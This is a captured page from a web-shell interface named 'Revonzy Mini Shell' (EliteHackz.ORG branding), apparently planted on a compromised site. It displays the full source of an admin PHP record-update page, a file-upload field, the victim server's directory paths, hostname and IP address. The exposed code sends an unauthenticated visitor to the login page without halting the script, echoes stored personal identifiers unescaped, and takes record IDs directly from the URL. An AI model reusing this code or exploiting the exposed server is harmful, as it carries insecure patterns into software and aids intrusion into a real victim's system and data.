Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/vahtuksanghatana.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/vahtuksanghatana.com/admin/update-reg.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

require_once("lib/function.php");
$db = new login_function();

if (!isset($_SESSION['current_login_admin'])) {
      header("Location:index.php");
}
if (isset($_GET['update_id'])) {
      $update_id = $_GET['update_id'];
      $_SESSION['update_id'] = $update_id;
      $success_msg = 1;
}

$update_id = $_SESSION['update_id'];

$email_error = "";
$email = "";
$password_error = "";
$flag = 0;
$var_full_name = "";
$var_email = "";
$var_password = "";
$var_mo_no = "";
$var_address = "";

if (isset($_POST['submit_btn'])) {
      $var_full_name = $_POST['full_name'];
	  $var_mo_no = $_POST['mo_no'];
	  $var_address = $_POST['address'];
      $aadhar = $_POST['aadhar'];
      $licence = $_POST['licence'];
      $gadi_no = $_POST['gadi_no'];
      $dob = $_POST['dob'];

    if($db->update_user_record($var_full_name,$var_mo_no, $var_address,$aadhar, $licence,$gadi_no,$dob,$update_id))
    {
        $success_msg = 1;
    }


}

$std_data = array();
$std_data = $db->get_register_updated_data($update_id);

if (!empty($std_data)) {
    $var_full_name = $std_data[1];
    $var_mo_no = $std_data[2];
    $var_address = $std_data[3];
    $aadhar_no = $std_data[4];
    $licence_no = $std_data[5];
    $gadi_no = $std_data[6];
    $photo = $std_data[7];
    $res_date = $std_data[8];
    $res_time = $std_data[9];
    $dob = $std_data[10];
    $designation = $std_data[11];
    $status = $std_data[12];
    $reference_id = $std_data[13];
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
      <meta charset="UTF-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width initial-scale=1.0">
      <title>Update</title>
      <!-- GLOBAL MAINLY STYLES-->
      <link href="css/bootstrap.min.css" rel="stylesheet" />
      <link href="css/font-awesome.min.css" rel="stylesheet" />
      <link href="css/line-awesome.min.css" rel="stylesheet" />
      <link href="css/themify-icons.css" rel="stylesheet" />
      <link href="css/animate.min.css" rel="stylesheet" />
      <link href="css/toastr.min.css" rel="stylesheet" />
      <link href="css/bootstrap-select.min.css" rel="stylesheet" />
      <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">

      <!-- PLUGINS STYLES-->
      <!-- THEME STYLES-->
      <link href="css/main.min.css" rel="stylesheet" />
      <!-- PAGE LEVEL STYLES-->
      <style>
      .col-md-6 {
            margin: auto;
            margin-top: 50px;
      }

      @media only screen and (max-width: 500px) {
            .col-md-6 {
                  margin: 30px;
            }
      }

      </style>

      <script>
      function validateForm() {
            var x = document.forms["myForm"]["email"].value;
            var y = document.forms["myForm"]["password"].value;
            if (x == "") {
                  alert("Enter Username");
                  return false;
            }
            if (y == "") {
                  alert("Enter Password");
                  return false;
            }
      }
      </script>
</head>

<html>

<body class="fixed-navbar">
      <!-- <div class="col-md-6" style="width:100%; margin:auto;">
            //<img src="logo.png" width="100%" height="100%" style="margin-top:100px;">
      </div> -->
      <?php include('header.php'); ?>
      <?php include('side-bar.php'); ?>
	  <br/>
	  <br/>
	  
      <div class="row">
            <div class="col-md-6">
                  <div class="ibox">
				  
                        <form class="form-pink" method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" name="myForm"
                              onsubmit="return validateForm()" autocomplete="off">

                               <?php
                              if ($success_msg == 1) {
                            ?>
                              <div class="alert alert-success">
                                    <span class="alert-link">Please!</span> Data updated successfully.
                              </div>
                              <?php
                              }
                              ?>
							  <br/>
							  <br/>


      <center>                       <div class="ibox-head">
			<div class="ibox-title"><i class="fas fa-user-tie" style="margin-right:10px;"></i>Update</div>
		</div>
                              <div class="ibox-body">

                                    <label style="float:left;">Full Name</label>
                                    <div class="form-group mb-4">
                                        
                                          <div class="input-group-icon input-group-icon-left">
                                              
                                                <span class="input-icon input-icon-left"><i
                                                            class="fas fa-user"></i></span>
                                                <input class="form-control form-control-air" type="text"
                                                      name="full_name" placeholder="Enter Full Name"
                                                      value="<?php echo $var_full_name; ?>">
                                                <!-- <p style="color:red;">
                                                      
                                                </p> -->
                                          </div>
                                    </div>
                                    
                                    <label style="float:left;">Mobile No</label>
                                    <div class="form-group mb-4">
                                          <div class="input-group-icon input-group-icon-left">
                                                <span class="input-icon input-icon-left"><i
                                                            class="fas fa-user"></i></span>
                                                <input class="form-control form-control-air" type="text" name="mo_no"
                                                      placeholder="Enter Mobile Number"
                                                      value="<?php echo $var_mo_no; ?>">

                                          </div>
                                    </div>
                                    
                                    <label style="float:left;">Address</label>
                                    <div class="form-group mb-4">
                                          <div class="input-group-icon input-group-icon-left">
                                                <span class="input-icon input-icon-left"><i
                                                            class="fas fa-user"></i></span>
                                                <input class="form-control form-control-air" type="text" name="address"
                                                      placeholder="Enter Address" value="<?php echo $var_address; ?>">

                                          </div>
                                    </div>
                                    
                                    <label style="float:left;">Aadhar Number</label>
                                    <div class="form-group mb-4">
                                          <div class="input-group-icon input-group-icon-left">
                                                <span class="input-icon input-icon-left"><i
                                                            class="fas fa-user"></i></span>
                                                <input class="form-control form-control-air" type="text" name="aadhar"
                                                      placeholder="Enter Email ID" value="<?php echo $aadhar_no ; ?>">

                                          </div>
                                    </div>
                                    
                                    <label style="float:left;">Licence Number</label>
                                    <div class="form-group mb-4">
                                          <div class="input-group-icon input-group-icon-left">
                                                <span class="input-icon input-icon-left"><i
                                                            class="fas fa-user"></i></span>
                                                <input class="form-control form-control-air" type="text" name="licence"
                                                      placeholder="Enter Licence" value="<?php echo $licence_no ; ?>">

                                          </div>
                                    </div>
                                    
                                    <label style="float:left;">Gadi Number</label>
                                    <div class="form-group mb-4">
                                          <div class="input-group-icon input-group-icon-left">
                                                <span class="input-icon input-icon-left"><i
                                                            class="fas fa-user"></i></span>
                                                <input class="form-control form-control-air" type="text" name="gadi_no"
                                                      placeholder="Enter Gadi No" value="<?php echo $gadi_no ; ?>">

                                          </div>
                                    </div>
                                    
                                    <label style="float:left;">DOB</label>
                                     <div class="form-group mb-4">
                                          <div class="input-group-icon input-group-icon-left">
                                                <span class="input-icon input-icon-left"><i
                                                            class="fas fa-user"></i></span>
                                                <input class="form-control form-control-air" type="date" name="dob"
                                                      placeholder="Enter DOB" value="<?php echo $dob ; ?>">

                                          </div>
                                    </div>
                                    
                                     
                                    

                              </div>
							  </center>

                              <div class="ibox-footer">
                                    <button class="btn btn-pink btn-air mr-2" type="submit" name="submit_btn">Update
                                    </button>
                                    <center><a href="user_report.php" style="color:red;font-weight:bold;">Back
                                                To List</a></center>
                                    <!-- 
                                    <a href="index.php" class="input-span"
                                          style="float:right;text-decoration:underline;">Already Registered ?</a> -->
                              </div>
							  </div>
							  </div>
                        </form>
					
                  </div>
				  <center/>
            </div>
      </div>
      <?php include('footer.php'); ?>


      <script src="js/jquery.min.js"></script>
      <script src="js/popper.min.js"></script>
      <script src="js/bootstrap.min.js"></script>
      <script src="js/metisMenu.min.js"></script>
      <script src="js/jquery.slimscroll.min.js"></script>
      <script src="js/idle-timer.min.js"></script>
      <script src="js/toastr.min.js"></script>
      <script src="js/jquery.validate.min.js"></script>
      <script src="js/bootstrap-select.min.js"></script>
      <!-- PAGE LEVEL PLUGINS-->
      <!-- CORE SCRIPTS-->
      <script src="js/app.min.js"></script>
      <!-- PAGE LEVEL SCRIPTS-->
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4